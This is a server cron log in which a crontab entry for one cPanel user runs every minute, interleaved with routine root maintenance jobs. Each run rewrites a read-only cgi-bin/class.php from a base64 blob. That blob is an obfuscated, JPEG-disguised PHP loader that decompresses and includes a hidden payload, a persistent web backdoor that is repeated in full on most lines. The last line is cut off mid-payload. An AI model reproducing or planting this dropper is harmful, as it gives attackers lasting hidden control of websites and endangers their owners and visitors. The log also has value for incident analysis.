Apr  8 19:43:01 server CROND[31994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:44:01 server CROND[32153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:45:01 server CROND[32215]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 19:45:01 server CROND[32216]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 19:45:01 server CROND[32219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:46:01 server CROND[32329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:47:01 server CROND[32411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:48:01 server CROND[32475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:49:01 server CROND[32531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:50:01 server CROND[32683]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 19:50:01 server CROND[32684]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 19:50:01 server CROND[32685]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 19:50:01 server CROND[32686]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 19:50:01 server CROND[32688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:51:01 server CROND[346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:52:01 server CROND[402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:53:01 server CROND[455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:54:01 server CROND[505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:55:01 server CROND[655]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 19:55:01 server CROND[656]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 19:55:01 server CROND[657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 19:56:01 server CROND[766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmm